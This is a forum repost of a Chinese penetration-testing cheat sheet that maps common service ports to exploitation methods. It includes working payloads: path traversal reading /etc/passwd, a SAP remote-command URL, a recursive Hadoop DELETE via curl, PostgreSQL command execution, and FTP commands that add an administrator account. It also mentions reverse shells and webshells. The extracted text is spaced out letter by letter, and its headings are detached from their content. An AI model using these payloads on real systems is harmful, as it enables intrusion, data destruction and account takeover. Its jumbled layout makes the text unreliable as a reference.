搜索

[1006] 2020-07-14_常见端口渗透笔录

文档创建者：s7ckTeam
浏览次数：17
最后更新：2025-01-16
2020-07-14_常见端口渗透笔录 常 见 端 口 渗 透 笔 录 原 创   B y p a s s   B y p a s s   2 0 2 0 - 0 7 - 1 4 面 对 一 个 目 标 主 机 时 ， 我 们 往 往 通 过 端 口 扫 描 来 了 解 目 标 主 机 开 放 的 端 口 和 服 务 。 当 看 到 一 个 端 口 号 时 ， 你 是 否 已 经 猜 到 它 是 什 么 服 务 ， 以 及 它 可 能 存 在 哪 些 安 全 漏 洞 和 利 用 姿 势 呢 ？ 今 天 分 享 一 些 常 见 的 端 口 服 务 及 漏 洞 利 用 ， 帮 助 你 快 速 找 到 获 取 主 机 权 限 的 攻 击 路 径 。 1 、 远 程 管 理 端 口 、 远 程 管 理 端 口 2 2   端 口 （ 端 口 （ S S H ） ） 2 3   端 口 （ 端 口 （ T e l n e t ） ） 3 3 8 9   端 口 （ 端 口 （ R D P ） ） 5 6 3 2   端 口 （ 端 口 （ P c a n y w h e r e ） ） 5 9 0 0   端 口 （ 端 口 （ V N C ） ） 2 、 、 W e b 中 间 件 中 间 件 / 服 务 端 口 服 务 端 口 1 0 9 0 / 1 0 9 9   端 口 （ 端 口 （ R M I ） ） 7 0 0 1   端 口 （ 端 口 （ W e b l o g i c ） ） 8 0 0 0   端 口 （ 端 口 （ j d w p ） ） 8 0 8 0   端 口 （ 端 口 （ T o m c a t ） ） 8 0 8 0   端 口 （ 端 口 （ J b o s s ） ） 安 全 攻 击 ： 弱 口 令 、 暴 力 猜 解 、 用 户 名 枚 举 利 用 方 式 ： 1 、 通 过 用 户 名 枚 举 可 以 判 断 某 个 用 户 名 是 否 存 在 于 目 标 主 机 中 ， 2 、 利 用 弱 口 令 / 暴 力 破 解 ， 获 取 目 标 主 机 权 限 。 安 全 漏 洞 ： 弱 口 令 、 明 文 传 输 利 用 方 式 ： 1 、 通 过 弱 口 令 或 暴 力 破 解 ， 获 取 目 标 主 机 权 限 。 2 、 嗅 探 抓 取 t e l n e t 明 文 账 户 密 码 。 安 全 漏 洞 ： 暴 力 破 解 利 用 方 式 ： 通 过 弱 口 令 或 暴 力 破 解 ， 获 取 目 标 主 机 权 限 。 安 全 漏 洞 ： 弱 口 令 、 暴 力 破 解 利 用 方 式 ： 通 过 弱 口 令 或 暴 力 破 解 ， 获 取 目 标 主 机 权 限 安 全 漏 洞 ： 弱 口 令 、 暴 力 破 解 利 用 方 式 ： 通 过 弱 口 令 或 暴 力 破 解 ， 获 取 目 标 主 机 权 限 。 安 全 漏 洞 ： J A V A   R M I   反 序 列 化 远 程 命 令 执 行 漏 洞 利 用 方 式 ： 使 用 n m a p 检 测 端 口 信 息 。 端 口 信 息 ： 1 0 9 9 / 1 0 9 0         J a v a - r m i         J a v a   R M I   R e g i s t r y 检 测 工 具 ： a t t a c k R M I . j a r 安 全 漏 洞 ： 弱 口 令 、 S S R F 、 反 序 列 化 漏 洞 利 用 方 式 ： 1 、 控 制 台 弱 口 令 上 传 w a r 木 马 2 、 S S R F 内 网 探 测 3 、 反 序 列 化 远 程 代 码 执 行 等 安 全 漏 洞 ： J D W P   远 程 命 令 执 行 漏 洞 端 口 信 息 ：             8 0 0 0                           j d w p                       j a v a   D e b u g   W i r e   P r o t o c o l 检 测 工 具 ： h t t p s : / / g i t h u b . c o m / I O A c t i v e / j d w p - s h e l l i f i e r 安 全 漏 洞 ： 弱 口 令 、 示 例 目 录 利 用 方 式 ： 通 过 弱 口 令 登 录 控 制 台 ， 上 传 w a r 包 。 安 全 漏 洞 ： 未 授 权 访 问 、 反 序 列 化 。 利 用 方 式 ： 1 、 未 授 权 访 问 控 制 台 ， 远 程 部 署 木 马 2 、 反 序 列 化 导 致 远 程 命 令 执 行 等 。 检 测 工 具 ： h t t p s : / / g i t h u b . c o m / j o a o m a t o s f / j e x b o s s
8 0 8 0   端 口 （ 端 口 （ R e s i n ） ） 8 0 8 0   端 口 （ 端 口 （ J e t t y ） ） 8 0 8 0   端 口 （ 端 口 （ G l a s s F i s h ） ） 8 0 8 0   端 口 （ 端 口 （ J e n k i n s ） ） 8 1 6 1   端 口 （ 端 口 （ A c t i v e M Q ） ） 9 0 4 3   端 口 （ 端 口 （ w e b S p h e r e ） ） 5 0 0 0 0   端 口 端 口   （ （ S A P ） ） 5 0 0 7 0   端 口 （ 端 口 （ h a d o o p ） ） 3 、 数 据 库 端 口 、 数 据 库 端 口 3 8 9   端 口 （ 端 口 （ l d a p ） ） 1 4 3 3   端 口 （ 端 口 （ M s s q l ） ） 1 5 2 1   端 口 （ 端 口 （ O r a c l e ） ） 3 3 0 6   端 口 （ 端 口 （ M y S Q L ） ） 5 4 3 2   端 口 （ 端 口 （   P o s t g r e S Q L ） ） 安 全 漏 洞 ： 目 录 遍 历 、 远 程 文 件 读 取 利 用 方 式 ： 通 过 目 录 遍 历 / 远 程 文 件 读 取 获 取 敏 感 信 息 ， 为 进 一 步 攻 击 提 供 必 要 的 信 息 。 任 意 文 件 读 取 P O C ： p a y l o a d 1   =   " / r e s i n - d o c / r e s o u r c e / t u t o r i a l / j n d i - a p p c o n f i g / t e s t ? i n p u t F i l e = / e t c / p a s s w d " p a y l o a d 2   =   " / r e s i n - d o c / e x a m p l e s / j n d i - a p p c o n f i g / t e s t ? i n p u t F i l e = . . / . . / . . / . . / . . / . . / . . / . . / . . / . . / e t c / p a s s w d " p a y l o a d 3   =   " /   . . w e b - i n f " 安 全 漏 洞 ： 远 程 共 享 缓 冲 区 泄 漏 利 用 方 式 ： 攻 击 者 可 以 通 过 精 心 构 造 h e a d e r s 值 来 触 发 异 常 并 偏 移 到 共 享 缓 冲 区 ， 其 中 包 含 了 之 前 其 他 用 户 提 交 的 请 求 ， 服 务 器 会 根 据 攻 击 者 的 p a y l o a d 返 回 特 定 位 置 的 数 据 。 检 测 工 具 ： h t t p s : / / g i t h u b . c o m / G D S S e c u r i t y / J e t l e a k - T e s t i n g - S c r i p t 安 全 漏 洞 ： 弱 口 令 、 任 意 文 件 读 取 利 用 方 式 ： 1 、 弱 口 令 a d m i n / a d m i n ， 直 接 部 署 s h e l l 2 、 任 意 文 件 读 取 获 取 服 务 器 敏 感 配 置 信 息 安 全 漏 洞 ： 未 授 权 访 问   、 远 程 代 码 执 行 利 用 方 式 ： 访 问 如 下 u r l ， 可 以 执 行 脚 本 命 令 ， 反 弹 s h e l l ， 写 入 w e b s h e l l 等 。 h t t p : / / < t a r g e t > : 8 0 8 0 / m a n a g e h t t p : / / < t a r g e t > : 8 0 8 0 / s c r i p t 安 全 漏 洞 ： 弱 口 令 、 任 意 文 件 写 入 、 反 序 列 化 利 用 方 式 ： 默 认 密 码 a d m i n / a d m i n 登 陆 控 制 台 、 写 入 w e b s h e l l 、 上 传 s s h   k e y 等 方 式 。 安 全 漏 洞 ： 控 制 台 弱 口 令 、 远 程 代 码 执 行 后 台 地 址 ： h t t p s : / / : 9 0 4 3 / i b m / c o n s o l e / l o g o n . j s p 安 全 漏 洞 ： 远 程 代 码 执 行 利 用 方 式 ： 攻 击 者 通 过 构 造 u r l 请 求 ， 实 现 远 程 代 码 执 行 。 P O C : h t t p : / / < t a r g e t > : 5 0 0 0 0 / c t c / s e r v l e t / c o m . s a p . c t c . u t i l . C o n f i g S e r v l e t ? p a r a m = c o m . s a p . c t c . u t i l . F i l e S y s t e m C o n f i g ; E X E C U T E _ C M D ; C M D L I N E = c m d . e x e   / c   i p c o n f i g   / a l l 安 全 漏 洞 ： 未 授 权 访 问 利 用 方 式 ： 攻 击 者 可 以 通 过 命 令 行 操 作 多 个 目 录 下 的 数 据 ， 如 进 行 删 除 操 作 。 c u r l   - i   - X   D E L E T E   “ h t t p : / / i p : 5 0 0 7 0 / w e b h d f s / v 1 / t m p ? o p = D E L E T E & r e c u r s i v e = t r u e “ c u r l   - i   - X   P U T   “ h t t p : / / i p : 5 0 0 7 0 / w e b h d f s / v 1 / N O D A T A 4 U _ S E C U R E Y O U R S H I T ? o p = M K D I R S “ 安 全 漏 洞 ： 未 授 权 访 问   、 弱 口 令 利 用 方 式 ： 通 过 L d a p B r o w s e r 工 具 直 接 连 入 。 安 全 漏 洞 ： 弱 口 令 、 暴 力 破 解 利 用 方 式 ： 差 异 备 份 g e t s h e l l 、 S A 账 户 提 权 等 安 全 漏 洞 ： 弱 口 令 、 暴 力 破 解 利 用 方 式 ： 通 过 弱 口 令 / 暴 力 破 解 进 行 入 侵 。 安 全 漏 洞 ： 弱 口 令 、 暴 力 破 解 利 用 方 式 ： 利 用 日 志 写 入 w e b s h e l l 、 u d f 提 权 、 m o f 提 权 等 。 安 全 漏 洞 ： 弱 口 令 、 高 权 限 命 令 执 行 利 用 方 式 ： 攻 击 者 通 过 弱 口 令 获 取 账 号 信 息 ， 连 入 p o s t g r e s 中 ， 可 执 行 系 统 命 令 。 。 P o C 参 考 ：
5 9 8 4   端 口 （ 端 口 （ C o u c h D B ） ） 6 3 7 9   端 口 （ 端 口 （ R e d i s ） ） 9 2 0 0   端 口 （ 端 口 （ e l a s t i c s e a r c h ） ） 1 1 2 1 1   端 口 （ 端 口 （ M e m C a c h e ） ） 2 7 0 1 7   端 口 （ 端 口 （ M o n g o d b ） ） 4 、 常 见 协 议 端 口 、 常 见 协 议 端 口 2 1   端 口 （ 端 口 （ F T P ) 2 5   端 口 （ 端 口 （ S M T P ） ） 5 3   端 口 （ 端 口 （ D N S ） ） 1 6 1   端 口 （ 端 口 （ S N M P ） ） P o C 参 考 ：         D R O P   T A B L E   I F   E X I S T S   c m d _ e x e c ;         C R E A T E   T A B L E   c m d _ e x e c ( c m d _ o u t p u t   t e x t ) ;         C O P Y   c m d _ e x e c   F R O M   P R O G R A M   ' i d ' ;         S E L E C T   *   F R O M   c m d _ e x e c ; 安 全 漏 洞 ： 垂 直 权 限 绕 过 、 任 意 命 令 执 行 利 用 方 式 ： 通 过 构 造 数 据 创 建 管 理 员 用 户 ， 使 用 管 理 员 用 户 登 录 ， 构 造 恶 意 请 求 触 发 任 意 命 令 执 行 。 后 台 访 问 ： h t t p : / / < t a r g e t > : 5 9 8 4 / _ u t i l s 安 全 漏 洞 ： 未 授 权 访 问 利 用 方 式 ： 绝 对 路 径 写 w e b s h e l l   、 利 用 计 划 任 务 执 行 命 令 反 弹 s h e l l 、 公 私 钥 认 证 获 取 r o o t 权 限 、 主 从 复 制 R C E 等 。 安 全 漏 洞 ： 未 授 权 访 问 、 命 令 执 行 检 测 方 式 ： 1 、 直 接 访 问 如 下 u r l ， 获 取 相 关 敏 感 信 息 。     h t t p : / / < t a r g e t > : 9 2 0 0 / _ n o d e s     查 看 节 点 数 据     h t t p : / / < t a r g e t > : 9 2 0 0 / _ r i v e r     查 看 数 据 库 敏 感 信 息 2 、 通 过 构 造 特 定 的 数 据 包 ， 执 行 任 意 命 令 。 安 全 漏 洞 ： 未 授 权 访 问 检 测 方 式 ： 无 需 用 户 名 密 码 ， 可 以 直 接 连 接 m e m c a c h e   服 务 的 1 1 2 1 1 端 口 。 n c   - v v   < t a r g e t >   1 1 2 1 1 安 全 漏 洞 ： 未 授 权 访 问 、 弱 口 令 利 用 方 式 ： 未 授 权 访 问 / 弱 口 令 ， 远 程 连 入 数 据 库 ， 导 致 敏 感 信 息 泄 露 。 安 全 漏 洞 ： 1 、 配 置 不 当         2 、 明 文 传 输         3 、 第 三 方 软 件 提 权 利 用 方 式 ： 1 、 匿 名 登 录 或 弱 口 令 2 、 嗅 探 f t p 用 户 名 和 密 码 3 、 S e r v - U 权 限 较 大 的 账 号 可 导 致 系 统 命 令 执 行 。 F T P 提 权 命 令 ：     #   增 加 系 统 用 户       Q u o t e   s i t e   e x e c   n e t   u s e r   4 5 6 7   4 5 6 7   / a d d     #   提 升 到 管 理 员 权 限       Q u o t e   s i t e   e x e c   n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   4 5 6 7   / a d d 攻 击 方 式 ： 1 、 匿 名 发 送 邮 件   2 、 弱 口 令   3 、 S M T P 用 户 枚 举 利 用 方 式 ： 1 、 S M T P 服 务 器 配 置 不 当 ， 攻 击 者 可 以 使 用 任 意 用 户 发 送 邮 件 。 2 、 S M T P 弱 口 令 扫 描 ， 获 取 用 户 账 号 密 码 ， 发 送 邮 件 钓 鱼 。 3 、 通 过 S M T P 用 户 枚 举 获 取 用 户 名 ：       n m a p   - p   2 5   - -   s m t p - e n u m - u s e r s . n s e   < t a r g e t > 安 全 攻 击 ： 1 、 D N S 域 传 送 漏 洞 、 D N S 欺 骗 、 D N S 缓 存 投 毒 检 测 方 式 ： 1 、 D N S 域 传 送 漏 洞 ， W i n d o w s 下 检 测 使 用 n s l o o k u p 命 令 ， L i n u x 下 检 测 使 用 d i g 命 令 ， 通 过 执 行 命 令 可 以 清 楚 的 看 到 域 名 解 析 情 况 。 2 、 D N S 欺 骗 就 是 攻 击 者 冒 充 域 名 服 务 器 的 一 种 欺 骗 行 为 。 3 、 D N S 缓 存 投 毒 是 攻 击 者 欺 骗 D N S 服 务 器 相 信 伪 造 的 D N S 响 应 的 真 实 性 。 安 全 漏 洞 ： 默 认 团 体 名 / 弱 口 令 访 问 利 用 方 式 ： 通 过 n m a p 自 带 的 审 计 脚 本 进 行 检 测 ， 可 能 导 致 敏 感 信 息 泄 露 。 。 1 、 弱 口 令 检 测 ： n m a p   – s U   – p 1 6 1   – s c r i p t = s n m p - b r u t e   < t a r g e t > 2 、 获 取 系 统 信 息 ： n m a p   – s U   – p 1 6 1   – s c r i p t = s n m p - s y s d e s c r   < t a r g e t > 3 、 获 取 用 户 信 息 ： n m a p   - s U   - p 1 6 1   - - s c r i p t = s n m p - w i n 3 2 - u s e r   < t a r g e t > 4 、 获 取 网 络 端 口 状 态 ： n m a p   - s U   - p 1 6 1   - - s c r i p t = s n m p - n e t s t a t   < t a r g e t >
4 4 3   端 口 （ 端 口 （ S S L ） ） 4 4 5   端 口 （ 端 口 （ S M B ） ） 8 7 3   端 口 （ 端 口 （ R s y n c ） ） 2 1 8 1   端 口 （ 端 口 （ Z o o k e e p e r ） ） 2 3 7 5   端 口 （ 端 口 （ D o c k e r ） ） 安 全 漏 洞 ： O p e n S S L   心 脏 出 血 利 用 方 式 ： 攻 击 者 可 以 远 程 读 取 存 在 漏 洞 版 本 的 o p e n s s l 服 务 器 内 存 中 长 大 6 4 K 的 数 据 。 扫 描 脚 本 ： n m a p   - s V   - - s c r i p t = s s l - h e a r t b l e e d   < t a r g e t > 安 全 漏 洞 ： 信 息 泄 露 、 远 程 代 码 执 行 利 用 方 式 ： 可 利 用 共 享 获 取 敏 感 信 息 、 缓 冲 区 溢 出 导 致 远 程 代 码 执 行 ， 如 m s 1 7 0 1 0 。 安 全 漏 洞 ： 匿 名 访 问 、 弱 口 令 利 用 方 式 ： 攻 击 者 可 以 执 行 下 载 / 上 传 等 操 作 ， 也 可 以 尝 试 上 传 w e b s h e l l 。 1 、 下 载 ： # r s y n c   - a v z   a . b . c . d : : p a t h / f i l e   p a t h / f i l i n a m e     2 、 上 传 ： # r s y n c   - a v z   p a t h / f i l e n a m e   a . b . c . d : : p a t h / f i l e 安 全 漏 洞 ： 未 授 权 访 问 检 测 方 式 ： 攻 击 者 可 通 过 执 行 e n v i 命 令 获 得 系 统 大 量 的 敏 感 信 息 ， 包 括 系 统 名 称 、 J a v a 环 境 。   e c h o   e n v i   |   n c   i p   p o r t 安 全 漏 洞 ： 未 授 权 方 式 检 测 方 式 ： 通 过 d o c k e r   d a e m o n   a p i   执 行 d o c k e r 命 令 。 # 列 出 容 器 信 息 ， 效 果 与 d o c k e r   p s   - a   一 致 。   c u r l   h t t p : / / < t a r g e t > : 2 3 7 5 / c o n t a i n e r s / j s o n   d o c k e r   - H   t c p : / / < t a r g e t > : 2 3 7 5   s t a r t   < C o n t a i n e r   I d >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理